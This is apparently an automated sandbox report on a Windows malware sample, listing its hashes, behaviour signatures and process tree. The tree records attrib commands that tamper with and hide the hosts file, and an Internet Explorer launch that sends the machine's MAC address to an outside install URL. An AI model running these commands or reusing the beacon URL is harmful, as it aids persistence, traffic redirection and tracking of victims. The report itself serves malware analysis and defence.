Analysis

  • max time kernel
    17s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    31/12/2023, 02:22

General

  • Target

    24580acb3741ce746e97741dac9984d2.exe

  • Size

    504KB

  • MD5

    24580acb3741ce746e97741dac9984d2

  • SHA1

    f433c2d4fe79afba2d92fcd28b50ddb02a903711

  • SHA256

    e0a67a922e431a8e75d113a8583da96032f885eb0de4ff8e88752d30f33c3a5d

  • SHA512

    763228ae822e2cd31719e5e6cdf66468dfdfb2976e5d7489234018f08f23e7f6dfcbc1e3b6f80c9d549b71ce77cb9f95b95b11bb5cab0c815f55bd82e1d62a74

  • SSDEEP

    12288:7vW1Ezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz4:7e1Ezzzzzzzzzzzzzzzzzzzzzzzzzzzs

Score
8/10

Malware Config

Signatures

  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Modifies Internet Explorer settings 1 TTPs 18 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\24580acb3741ce746e97741dac9984d2.exe
    "C:\Users\Admin\AppData\Local\Temp\24580acb3741ce746e97741dac9984d2.exe"
    1⤵
    • Adds policy Run key to start application
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Windows\SysWOW64\attrib.exe
      attrib -s -h "C:\Windows\system32\drivers\etc\hosts"
      2⤵
      • Views/modifies file attributes
      PID:2128
    • C:\Windows\SysWOW64\attrib.exe
      attrib +s +h "C:\Windows\system32\drivers\etc\hosts"
      2⤵
      • Sets file to hidden
      • Views/modifies file attributes
      PID:2704
    • C:\program files\internet explorer\iexplore.exe
      "C:\program files\internet explorer\iexplore.exe" "http://www.2009qqvip.com/qqsj/install.asp?ver=090106&tgid=huan&address=D6-69-B0-5B-D4-32&regk=1&flag=ffd35871cc6e5d1e431bcfda2118eb1e&frandom=5793"
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2728
  • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2728 CREDAT:275457 /prefetch:2
    1⤵
      PID:2780

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • memory/1368-242-0x00000000040D0000-0x00000000040D1000-memory.dmp

            Filesize

            4KB

          • memory/1368-241-0x00000000040D0000-0x00000000040D1000-memory.dmp

            Filesize

            4KB